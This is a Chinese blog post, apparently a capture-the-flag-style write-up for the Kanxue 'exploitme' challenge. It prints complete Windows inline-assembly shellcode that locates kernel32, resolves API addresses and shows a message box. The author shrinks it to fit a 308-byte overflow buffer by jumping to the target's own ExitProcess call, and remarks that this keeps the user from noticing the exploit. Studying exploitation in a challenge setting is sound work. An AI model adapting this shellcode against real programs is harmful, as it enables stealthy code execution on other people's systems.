shellcode之小小琢磨

科技中介服务机构如何高效完成技术成果的筛选与匹配服务?.docx 科技中介服务机构如何高效完成技术成果的筛选与匹配服务? 立即下载
【文章作者】: 安摧
本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。
高手大致可以飘过。
但是我还是要邀请combojiang大侠阅读一下本文;因为本文是对阁下的文章的改进。
失误之处敬请诸位大侠赐教!
呵呵!!!

昨天在研究看雪exploit me挑战赛中的exploitmeA例子的时候,仔细阅读了一下combojiang的答案。
文章见:http://bbs.pediy.com/showthread.php?t=57558
combojiang的shellcode确实不凡,包括查找kernel32.dll的位置,查找GetProcAddress和MessageBoxA函数的地址,加密解密shellcode.
但是有一个问题,shellcode最终不能使得程序安静的退出!

在文章中,作者构建shellcode的代码如下:
引用:
void  ShellcodeFunc()
{
  unsigned int uLoadLibrary,uGetProcAddress,uKernelBase,uLibHandle;
  unsigned int ImageBase,flen;
  char *FuncName;  
  
  __asm
  {  
    ///////////////////////////        // shellcode开始标记,方便截取shellcode,这里没启用
    //signature of ShellcodeStart
//    _emit 'S'   
//    _emit 'h'
//    _emit 'e'
//    _emit 'l'
//    _emit 'l'
//    _emit 'c'
//    _emit 'o'
//    _emit 'd'
//    _emit 'e'
//    _emit 'S'
//    _emit 't'
//    _emit 'a'
//    _emit 'r'
//    _emit 't'
    ////////////////////////////

    jmp Start
GetFunc:
    mov eax,ImageBase
    mov eax,[eax+0x3c]    
    add eax,ImageBase    
    mov eax,[eax+0x78]      
    add eax,ImageBase    
    mov esi,eax          
    mov ecx,[eax+0x18]    
    mov eax,[eax+0x20]    
    add eax,ImageBase
    mov ebx,eax  
    xor edx,edx
FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb    
    pop esi      
    je  Found  
    inc edx  
    add ebx,4
    mov eax,ebx
    pop ecx
    loop FindLoop    
Found:
    add esp,4
    mov eax,esi
    mov eax,[eax+0x1c]    
    add eax,ImageBase    
    shl edx,2
    add eax,edx
    mov eax,[eax]      
    add eax,ImageBase
    jmp Founded
    xor eax,eax
Founded:
    ret
  }
  
  __asm
  {
Start:
    push esi
    push ecx
    
    xor eax, eax        
    xor esi, esi
    mov esi, fs:[esi + 0x18]     
    mov eax, [esi+4]                 
    mov eax, [eax - 0x1c]        
find_kernel32_base:
    dec eax                      
    xor ax, ax
    cmp word ptr [eax], 0x5a4d   
    jne find_kernel32_base       
    
    pop ecx
    pop esi
    mov uKernelBase,eax
    mov ImageBase,eax
    mov flen,0x0c
    call LL1
    _emit 'L'   
    _emit 'o'
    _emit 'a'
    _emit 'd'
    _emit 'L'
    _emit 'i'
    _emit 'b'
    _emit 'r'
    _emit 'a'
    _emit 'r'
    _emit 'y'
    _emit 'A'
    _emit 0
LL1:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uLoadLibrary,eax
    
    mov flen,0x0E
    call LL2
    _emit 'G'   
    _emit 'e'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'A'
    _emit 'd'
    _emit 'd'
    _emit 'r'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
LL2:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uGetProcAddress,eax
    
    call l1
    _emit 'u'
    _emit 's'
    _emit 'e'
    _emit 'r'
    _emit '3'
    _emit '2'
    _emit '.'
    _emit 'd'
    _emit 'l'
    _emit 'l'
    _emit 0
l1:
    call uLoadLibrary
    mov uLibHandle,eax
    call l2
    _emit 'M'   
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 'a'
    _emit 'g'
    _emit 'e'
    _emit 'B'
    _emit 'o'
    _emit 'x'
    _emit 'A'
    _emit 0
l2:
    push uLibHandle
    call uGetProcAddress
    push MB_OK | MB_ICONINFORMATION
    call l3
    _emit 'C'   
    _emit 'T'
    _emit 'S'
    _emit 0

l3:
    call l4
    _emit 'A'
    _emit 'n'
    _emit 'C'
    _emit 'u'
    _emit 'i'
    _emit 0

l4:
    push NULL
    call eax  
    call l5      //我添加的安静退出程序的代码 ①开始
    _emit 'E'       //调用ExitProcess
    _emit 'x'
    _emit 'i'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
l5:
    push uLibHandle
    call uGetProcAddress
    push NULL
    call eax      //①结束

    ///////////////////////////      //shellcode结束标记,方便截取shellcode
    //signature of ShellcodeEnd
    _emit 'S'   
    _emit 'h'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'c'
    _emit 'o'
    _emit 'd'
    _emit 'e'
    _emit 'E'
    _emit 'n'
    _emit 'd'
    //////////////////////////////

  }
}
其中红色的代码是我做的修改。
修改的目的是显示标题为CTS,内容为CTS.AnCui的消息框,并且安静退出程序(ExitProcess)。

但是这个时候问题来了,缓冲区总长度为512个字节,可利用的长度为(512-200-4)=308个字节。
而shellcode和解密部分的加起来要有333个字节,不够了!!!

怎么办???

我的解决办法是修改从①开始到①结束位置的代码为:

引用:
mov eax,00402005h
jmp eax
跳转到00402005h地址执行。
为什么这样做呢???

用od打开文件exploitmeA,右键->查找->所有模块间调用:
会看到下面两行:
引用:
00402005   call    dword ptr [<&KERNEL32.ExitProces  kernel32.ExitProcess
00402148   call    dword ptr [<&KERNEL32.ExitProces  kernel32.ExitProcess
在exploitmeA中,00402005位置的代码:
引用:
00401FFB  |.  FF7424 08     push    dword ptr [esp+8]                ; /ExitCode
00401FFF  |.  893D F09A4000 mov     dword ptr [409AF0], edi          ; |
00402005  |.  FF15 28804000 call    dword ptr [<&KERNEL32.ExitProces>; /ExitProcess
在这里退出程序。
这下子大家理解了吧。


修改后的shellcode为(修改后shellcode总长度308)
引用:
void  ShellcodeFunc()
{
  unsigned int uLoadLibrary,uGetProcAddress,uKernelBase;
  unsigned int ImageBase,flen;
  char *FuncName;  
  
  __asm
  {  
    ///////////////////////////
    //signature of ShellcodeStart
//    _emit 'S'   
//    _emit 'h'
//    _emit 'e'
//    _emit 'l'
//    _emit 'l'
//    _emit 'c'
//    _emit 'o'
//    _emit 'd'
//    _emit 'e'
//    _emit 'S'
//    _emit 't'
//    _emit 'a'
//    _emit 'r'
//    _emit 't'
    ////////////////////////////

    jmp Start
GetFunc:
    mov eax,ImageBase
    mov eax,[eax+0x3c]    
    add eax,ImageBase    
    mov eax,[eax+0x78]      
    add eax,ImageBase    
    mov esi,eax          
    mov ecx,[eax+0x18]    
    mov eax,[eax+0x20]    
    add eax,ImageBase
    mov ebx,eax  
    xor edx,edx
FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb    
    pop esi      
    je  Found  
    inc edx  
    add ebx,4
    mov eax,ebx
    pop ecx
    loop FindLoop    
Found:
    add esp,4
    mov eax,esi
    mov eax,[eax+0x1c]    
    add eax,ImageBase    
    shl edx,2
    add eax,edx
    mov eax,[eax]      
    add eax,ImageBase
    jmp Founded
    xor eax,eax
Founded:
    ret
  }
  
  __asm
  {
Start:
    push esi
    push ecx
    
    xor eax, eax        
    xor esi, esi
    mov esi, fs:[esi + 0x18]     
    mov eax, [esi+4]                       
    mov eax, [eax - 0x1c]        
find_kernel32_base:
    dec eax                      
    xor ax, ax
    cmp word ptr [eax], 0x5a4d   
    jne find_kernel32_base       
    
    pop ecx
    pop esi
    mov uKernelBase,eax
    mov ImageBase,eax
    mov flen,0x0c
    call LL1
    _emit 'L'   
    _emit 'o'
    _emit 'a'
    _emit 'd'
    _emit 'L'
    _emit 'i'
    _emit 'b'
    _emit 'r'
    _emit 'a'
    _emit 'r'
    _emit 'y'
    _emit 'A'
    _emit 0
LL1:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uLoadLibrary,eax
    
    mov flen,0x0E
    call LL2
    _emit 'G'   
    _emit 'e'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'A'
    _emit 'd'
    _emit 'd'
    _emit 'r'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
LL2:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uGetProcAddress,eax
    
    call l1
    _emit 'u'
    _emit 's'
    _emit 'e'
    _emit 'r'
    _emit '3'
    _emit '2'
    _emit '.'
    _emit 'd'
    _emit 'l'
    _emit 'l'
    _emit 0
l1:
    call uLoadLibrary
    call l2
    _emit 'M'   
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 'a'
    _emit 'g'
    _emit 'e'
    _emit 'B'
    _emit 'o'
    _emit 'x'
    _emit 'A'
    _emit 0
l2:
    push eax
    call uGetProcAddress
    push MB_OK | MB_ICONINFORMATION
    call l3
    _emit 'C'
    _emit 'T'
    _emit 'S'
    _emit 0
l3:
    call l4
    _emit 'A'
    _emit 'n'
    _emit 'C'
    _emit 'u'
    _emit 'i'
    _emit 0
l4:
    push NULL
    call eax  
    
    mov eax,00402005h
    jmp eax

    ///////////////////////////
    //signature of ShellcodeEnd
    _emit 'S'   
    _emit 'h'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'c'
    _emit 'o'
    _emit 'd'
    _emit 'e'
    _emit 'E'
    _emit 'n'
    _emit 'd'
    //////////////////////////////

  }
}

总结:
引用:
在shellcode中,我们要调用的函数一般都是我们手动查找的,但是这个会使用我们大量的可利用缓冲区空间。
这个时候我们可以利用程序中自带的对我们所需要的函数的调用。
使用jmp和call指令,当然call可能更好一点,应为call之后,还可以再返回shellcode部分。

如果call的位置适当,甚至程序不用退出;程序继续新的一轮执行(比如跳转到某处异常处理中),而程序使用者不会觉察到任何异常!!!
大概这篇文章只有上面一段比较重要。
但是,各位看客们鼓励鼓励俺们原创吧。
哈哈
毕设中,繁忙,偷着乐。
 
coppeliasim+gym+sac机械臂到位实验 urdf文件 立即下载

相关推荐

产业园区如何通过数智工具精准识别企业技术需求,提高服务匹配效率?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

ES6 $ ES5

参考地址: https://www.runoob.com/w3cnote/es6-tutorial.html菜鸟教程 https://es6.ruanyifeng.com/阮一峰 https://www.mithriljs.net/es6.html中文教程 es6合并数组的写法: 1. var (Es5) 会存在变量提升, 可以在未申明的时候直接使用,返回undefined l...

wanglei的博客 297

产业园区运营负责人怎样利用数智工具提升企业技术需求对接效率?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

N种内核注入DLL的思路及实现(转自http://devil209.blog.163.com/blog/static/50820980201041391645319/)

<br />内核注入,技术古老但很实用。现在部分RK趋向无进程,玩的是SYS+DLL,有的无文件,全部存在于内存中。可能有部分人会说:“都进内核了.什么不能干?”。是啊,要是内核中可以做包括R3上所有能做的事,软件开发商们也没必要做应用程序了。有时,我们确实需要R3程序去干驱动做起来很困难或者没必要驱动中去做的事,进程 /  DLL是不错的选择,但进程目标太大,所以更多的同学趋向于注DLL。 <br />    若要开发安全软件、小型工具,可借鉴其思路,Anti Rootkits时,在某些极端情况下,可使用

zhuerhua的专栏 857

搜素引擎+p2p+电脑全域搜素+快速检索文件

快速搜索电脑内一切文件,反应超快

三相电压型PWM整流器PI双闭环控制Matlab仿真

内容概要:本文系统介绍了三相电压型PWM整流器的PI双闭环控制系统在Matlab/Simulink环境下的建模与仿真方法,重点阐述电压外环与电流内环的协同控制机制,通过PI调节器实现直流侧电压稳定控制及交流侧单位功率因数运行。内容涵盖电压定向控制(VOC)、空间矢量PWM(SVPWM)调制策略、电网不平衡条件下的功率平衡控制等关键技术,并延伸至维也纳(Vienna)整流器、中点电压平衡、滞环电流控制等多种先进拓扑与控制方法。配套提供Mathcad计算书,支持不同功率等级下的参数设计、闭环建模与工程化实现,形成从理论分析到仿真验证的完整技术链条,适用于电力电子系统科研与教学实践。; 适合人群:电气工程、电力电子及相关专业的研究生、科研人员,以及具备Matlab/Simulink仿真基础的工程技术人员。; 使用场景及目标:① 掌握三相PWM整流器双闭环PI控制系统的建模、仿真与动态性能分析;② 深入理解电压定向控制、SVPWM调制及电网不平衡工况下的先进控制策略;③ 利用Mathcad计算工具完成实际工程中整流器的参数设计与优化。; 阅读建议:建议结合Simulink仿真模型与Mathcad计算书同步学习,重点关注控制架构搭建、PI参数整定方法、系统稳定性分析及不同工况下的仿真验证,通过反复调试提升对控制性能的理解与工程应用能力。

N种内核注入DLL的思路及实现

内核注入,技术古老但很实用。现在部分RK趋向无进程,玩的是SYS+DLL,有的无文件,全部存在于内存中。可能有部分人会说:“都进内核了.什么不能干?”。是啊,要是内核中可以做包括R3上所有能做的事,软件开发商们也没必要做应用程序了。有时,我们确实需要R3程序去干驱动做起来很困难或者没必要驱动中去做的事,进程 / DLL是不错的选择,但进程目标太大,所以更多的同学趋向于注DLL。 ...

328

【扩展卡尔曼滤波器EKF】基于UWB雷达的SLAM能够在室内环境内映射自然点地标,并改善机器人定位(Matlab代码实现)

内容概要:本文档详细介绍了基于Plecs软件构建的全桥LLC谐振变换器仿真模型,重点涵盖其在电力电子变换系统中的应用与研究价值。该模型用于深入分析LLC谐振变换器的核心工作特性,包括软开关技术的实现、谐振参数的精确设计以及变频控制策略的优化,旨在提升变换器的转换效率与系统稳定性。文档强调该仿真平台不仅支持独立建模,还可与Simulink等工具联合仿真,便于实现闭环控制算法的设计与验证,适用于高频高效电源系统的研发与教学实践。; 适合人群:面向具备电力电子、自动化或电气工程等相关专业背景,从事电源系统设计、变换器仿真研究工作的研发人员,以及研究生及以上学历的高校师生。; 使用场景及目标:①用于全桥LLC谐振变换器的拓扑结构验证与关键参数优化设计;②支持软开关特性分析、变频控制策略研究及系统效率提升;③作为高校电力电子课程设计、毕业设计或科研项目的仿真教学与研究平台; 阅读建议:建议使用者熟练掌握LLC谐振变换器的基本电路拓扑与工作原理,结合配套的设计报告与计算书开展仿真操作,重点关注谐振腔参数匹配、开关频率调节与控制策略对系统动态响应及效率的影响,以实现最佳的学习与研究成效。

内核层注入的N种方法

内核注入,技术古老但很实用。现在部分RK趋向无进程,玩的是SYS+DLL,有的无文件,全部存在于内存中。可能有部分人会说:“都进内核了.什么不能干?”。是啊,要是内核中可以做包括R3上所有能做的事,软件开发商们也没必要做应用程序了。有时,我们确实需要R3程序去干驱动做起来很困难或者没必要驱动中去做的事,进程 /  DLL是不错的选择,但进程目标太大,所以更多的同学趋向于注DLL。

o330820350的专栏 4587

三相充电桩维也纳PFC+三电平LLC谐振变换器三电平PSIM仿真设计(Simulink仿真实现)

内容概要:本文档系统性地整合了电力电子与电力系统领域的MATLAB/Simulink仿真资源,聚焦于三相充电桩中的关键变换器技术,重点涵盖维也纳PFC(Vienna Rectifier)与三电平LLC谐振变换器的建模与仿真,采用双闭环PWM控制、SVPWM调制、中点电压平衡控制等核心技术。同时包含图腾柱PFC、交错并联结构、电网不平衡下的功率平衡控制、双有源桥DAB变换器优化控制等多种先进拓扑与控制策略的仿真实现,其中多项成果复现自顶级EI期刊。资源体系进一步拓展至微电网调度、状态估计(如卡尔曼滤波、EKF、UKF、PF)、智能优化算法(如多目标粒子群、秃鹰算法)及机器学习预测(如CNN-LSTM)等多个前沿交叉方向,配套提供仿真模型、算法代码、设计PPT与参考文献,构建了一个完整且高水准的科研仿真知识体系。; 适合人群:电气工程、自动化、新能源等相关专业的研究生、科研人员及从事电力电子与电力系统仿真的工程师,要求具备扎实的电路理论基础和熟练的MATLAB/Simulink仿真能力; 使用场景及目标:①深入研究三相功率因数校正、高效DC-DC变换器的建模与控制机理;②高质量复现学术论文中的先进控制策略,支撑高水平论文撰写与课题攻关;③服务于硕士/博士毕业设计、科研项目申报及工程化原型开发; 阅读建议:建议严格按照资源目录的逻辑顺序循序渐进地学习,优先掌握基础变换器拓扑与经典控制方法,再逐步过渡到高级优化策略与多学科交叉应用,结合所提供的代码、PPT讲解与参考文献进行仿真调试与二次开发,以充分挖掘资源潜力,实现科研能力的实质性提升。

批量 MAX 模型材质转换与多格式导出 对应脚本:批量导出物体转换材质有相同 - glb.ms 一、插件用途 批量读取指定文件夹中的 .max 场景文件,将识别到的多种材质简化为 Standar

批量 MAX 模型材质转换与多格式导出 对应脚本:批量导出物体转换材质有相同 - glb.ms 一、插件用途 批量读取指定文件夹中的 .max 场景文件,将识别到的多种材质简化为 StandardMaterial,然后把每个场景整体导出为指定格式,适合批量模型交付、格式转换和资产整理。 二、支持的导出格式 - FBX(默认格式) - OBJ - SKP - 3DS - OSGB - DAE - GLB - GLTF - STL 具体格式能否成功导出,还取决于当前 3ds Max 是否安装并加载对应导出器。 三、主要功能 1. 选择 MAX 文件夹:指定需要批量处理的 .max 文件目录。 2. 选择输出文件夹:可选;不指定时,每个导出文件放在对应 MAX 源文件所在目录。 3. 选择导出格式:从界面下拉列表中选择格式。 4. 开始:逐个加载扫描到的 MAX 文件,处理场景材质后导出整个场景,而不是只导出当前选择。 5. 文件重名处理:目标文件已存在时,自动尝试追加 _1、_2 等编号,避免直接覆盖同名文件。 四、材质转换方式 - 脚本会识别部分 VRay、Physical、Corona、GLTF、Standard、Autodesk 等材质类型。 - 转换目标为 StandardMaterial。 - 如果材质中能找到贴图文件,优先使用枚举到的第一张贴图作为漫反射贴图。 - 没有找到贴图时,尝试使用原材质的漫反射色、基础颜色或视口颜色等作为标准材质颜色。 - Multi/Sub 材质会逐个处理子材质。 该过程是面向通用导出的材质简化,不会完整保留原渲染器的所有材质层、反射、折射、凹凸和程序贴图网络。 五、GLB / GLTF 额外要求 - GLB 和

Hook : N种内核注入DLL的思路及实现

内核注入,技术古老但很实用。现在部分RK趋向无进程,玩的是SYS+DLL,有的无文件,全部存在于内存中。可能有部分人会说:“都进内核了.什么不能干?”。是啊,要是内核中可以做包括R3上所有能做的事,软件开发商们也没必要做应用程序了。有时,我们确实需要R3程序去干驱动做起来很困难或者没必要驱动中去做的事,进程 /  DLL是不错的选择,但进程目标太大,所以更多的同学趋向于注DLL。

it技术学习 2402

电网不平衡下三相PWM整流器功率平衡控制仿真(Simulink仿真实现)

内容概要:本文围绕电网不平衡条件下三相PWM整流器的功率平衡控制策略展开研究,提出一种基于Simulink的高精度仿真模型,旨在解决电网电压不对称引起的输出功率波动、负序电流增加等问题。通过引入先进的控制算法,实现有功与无功功率的独立调节,有效抑制负序分量,提升系统在非理想电网条件下的稳定性与电能质量。文中详细阐述了控制系统架构设计,包括锁相环(PLL)、dq变换、双闭环控制策略(电压外环与电流内环)、SVPWM调制及负序分量补偿机制,并结合仿真结果验证了所提方法在动态响应、谐波抑制和功率平衡方面的优越性能。该研究对标“顶级EI复现”标准,具备较强的学术深度与工程应用价值。; 适合人群:电气工程、自动化、电力电子与电力传动等专业的硕士/博士研究生、科研人员及从事新能源发电、智能电网、工业变流器研发的工程师,需具备电路理论、自动控制原理、电力电子技术及Simulink/MATLAB仿真基础。; 使用场景及目标:①深入理解电网不平衡工况下PWM整流器的运行机理与控制挑战;②掌握基于同步旋转坐标系的先进控制策略设计方法;③复现高水平期刊论文中的控制方案,支撑科研项目申报、学术论文撰写或实际工程开发。; 阅读建议:建议结合文中“顶级EI复现”要求,细致分析控制逻辑构建过程与关键参数整定方法,利用Simulink模型进行分模块调试与整体验证,重点关注负序电流抑制效果、直流侧电压稳定性及功率纹波指标,可进一步拓展至不同故障场景或多电平拓扑的对比研究。

上一篇: 一种注入进程,获得完全操控的方法之二
下一篇: 千千静听 med 文件格式堆溢出利用
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值